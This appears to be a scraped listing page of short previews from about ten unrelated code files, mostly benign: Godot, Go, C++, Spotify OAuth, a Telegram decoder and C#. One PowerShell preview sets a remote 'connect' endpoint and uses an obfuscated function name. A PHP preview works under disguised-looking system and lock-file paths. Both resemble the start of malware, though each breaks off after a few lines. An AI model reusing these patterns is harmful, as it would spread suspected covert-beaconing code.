This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class_name MyParticles2D01 | |
extends Particles2D | |
# Declare member variables here. Examples: | |
# var a = 2 | |
# var b = "text" | |
# Called when the node enters the scene tree for the first time. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'--------------------------------------------------------------------------------------------- | |
' Copyright: Microsoft Corp. | |
' | |
' This script is designed to be used only for scheduled tasks(s). | |
' There is no extensive error check, and will not dump the output from the Powershell CmdLet. | |
' | |
' Usage: SyncAppvPublishingServer {cmdline-args(passthrough to cmdlet)} | |
'--------------------------------------------------------------------------------------------- | |
Option Explicit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path; | |
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString(); | |
$EndPointURL = "http://api.private-chatting.com/connect"; | |
$__Version__ = "M_37"; | |
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString(); | |
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle); | |
function XF3a8JO3r5r8G([string] $str) { | |
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%") | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"io" | |
"log" | |
"net" | |
"net/http" | |
"runtime" | |
"sync/atomic" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
chdir("/opt/systemd/linux2"); | |
$handle = fopen("/tmp/.linux.git_lock", "a"); | |
while (!flock($handle, LOCK_EX | LOCK_NB)) { | |
printf("Waiting for the lock...\n"); | |
sleep(1); | |
} | |
function ca($str) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ( | |
"bytes" | |
"encoding/base64" | |
"encoding/binary" | |
"fmt" | |
"strconv" | |
) | |
func UnpackInlineMessageId(inlineMessageId string) (int64, int64, int64, int64, error) { | |
bs, err := base64.RawURLEncoding.DecodeString(inlineMessageId) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Лол, код из архива - файл датируется 2017 годом. | |
Написан был после недели изучения C++. | |
Реализует серверную часть чата на клиенте. | |
Код не полный, писался на скорую руку - так сказать proof of concept. | |
О, и да - семафоры это круто :3 */ | |
#include <iostream> | |
#include <string> | |
#include <stdio.h> | |
#include <cstring> | |
#include <stdlib.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from httpx import AsyncClient | |
class SpotifyUser: | |
authorize_url = "https://accounts.spotify.com/authorize" | |
token_url = "https://accounts.spotify.com/api/token" | |
def __init__(self, client_id, client_secret, redirect_uri): | |
self.client_id = client_id | |
self.client_secret = client_secret |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Text; | |
using System.IO; | |
using System.Collections; | |
using System.Net.Http; | |
using System.Threading.Tasks; | |
using System.Text.Json.Serialization; | |
using System.Text.Json; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-2.0 | |
/* | |
* @author Ammar Faizi <[email protected]> https://www.facebook.com/ammarfaizi2 | |
* @license GPL-2.0 | |
* @package tgvisd::Main::Preload | |
* | |
* Copyright (C) 2021 Ammar Faizi <[email protected]> | |
*/ | |
#if defined(__linux__) |